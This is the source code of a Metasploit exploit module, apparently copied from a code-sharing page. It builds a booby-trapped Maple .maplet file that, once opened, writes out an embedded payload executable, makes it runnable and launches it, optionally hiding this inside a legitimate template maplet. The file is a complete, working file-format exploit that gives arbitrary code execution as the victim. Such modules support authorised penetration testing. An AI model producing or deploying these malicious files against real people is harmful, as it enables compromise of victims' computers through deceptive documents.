Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::FILEFORMAT
10
  include Msf::Exploit::EXE
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Maple Maplet File Creation and Command Execution',
15
      'Description'    => %q{
16
          This module harnesses Maple's ability to create files and execute commands
17
        automatically when opening a Maplet. All versions up to 13 are suspected
18
        vulnerable. Testing was conducted with version 13 on Windows. Standard security
19
        settings prevent code from running in a normal maple worksheet without user
20
        interaction, but those setting do not prevent code in a Maplet from running.
21

22
        In order for the payload to be executed, an attacker must convince someone to
23
        open a specially modified .maplet file with Maple. By doing so, an attacker can
24
        execute arbitrary code as the victim user.
25
      },
26
      'License'        => MSF_LICENSE,
27
      'Author'         =>
28
        [
29
          'scriptjunkie'
30
        ],
31
      'References'     =>
32
        [
33
          [ 'OSVDB', '64541'],
34
          [ 'URL', 'http://www.maplesoft.com/products/maple/' ]
35
        ],
36
      'Payload'        =>
37
        {
38
          'Space'    => 1024,
39
          'BadChars' => '',
40
          'DisableNops' => true,
41
#					'Compat'      =>
42
#						{
43
#							'PayloadType' => 'cmd',
44
#							'RequiredCmd' => 'generic perl telnet',
45
#						}
46
        },
47
      'Platform'       => %w{ win linux unix },
48
      'Targets'        =>
49
        [
50
          [ 'Windows',
51
            {
52
              'Arch'      => ARCH_X86,
53
              'Platform' => 'win'
54
            }
55
          ],
56

57
          [ 'Windows X64',
58
            {
59
              'Arch'      => ARCH_X64,
60
              'Platform' => 'win'
61
            }
62
          ],
63

64
          [ 'Linux',
65
            {
66
              'Arch'      => ARCH_X86,
67
              'Platform' => 'linux'
68
            }
69
          ],
70

71
          [ 'Linux X64',
72
            {
73
              'Arch'      => ARCH_X64,
74
              'Platform' => 'linux'
75
            }
76
          ],
77

78
          ['Universal CMD',
79
            {
80
              'Arch'      => ARCH_CMD,
81
              'Platform'       => %w{ linux unix win }
82
            }
83
          ]
84

85
        ],
86
      'DisclosureDate' => '2010-04-26',
87
      'DefaultTarget'  => 0))
88

89
    register_options(
90
      [
91
        OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),
92
        OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),
93
      ])
94

95
  end
96

97

98
  def exploit
99
    cmd = ''
100
    content = ''
101
    if target['Arch'] != ARCH_CMD
102
      #Get payload as executable on whatever platform
103
      binary = generate_payload_exe
104

105
      #Get filename and random variable name for file handle in script
106
      fname = rand_text_alpha(3+rand(15))
107
      if target['Platform'] == 'win'
108
        fname << ".exe"
109
      end
110
      fhandle = rand_text_alpha(3+rand(15))
111

112
      #Write maple commands to create executable
113
      content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"
114
      exe = binary.unpack('C*')
115

116
      content << "writebytes(#{fhandle},[#{exe[0]}"
117
      lines = []
118
      1.upto(exe.length-1) do |byte|
119
        if(byte % 100 == 0)
120
          lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}"
121
        else
122
          lines.push ",#{exe[byte]}"
123
        end
124
      end
125
      content << lines.join("") + "]);\r\n"
126

127
      content << "fclose(" + fhandle + ");\n"
128
      #Write command to be executed
129
      if target['Platform'] != 'win'
130
        content << "system(\"chmod a+x #{fname}\");\n"
131
      end
132
      content << "system[launch](\"#{fname}\");\n"
133
    else
134
      content << "system(\"#{payload.encoded}\");\n"
135
    end
136

137
    #Then put the rest of the original maplet
138
    if datastore['TEMPLATE'] != ''
139
      File.open(datastore['TEMPLATE'], 'rb') do |fd|
140
        content << fd.read( File.size(datastore['TEMPLATE']) )
141
      end
142
    end
143

144
    # Create the file
145
    print_status("Creating '#{datastore['FILENAME']}' file...")
146
    file_create(content)
147
  end
148
end
149

150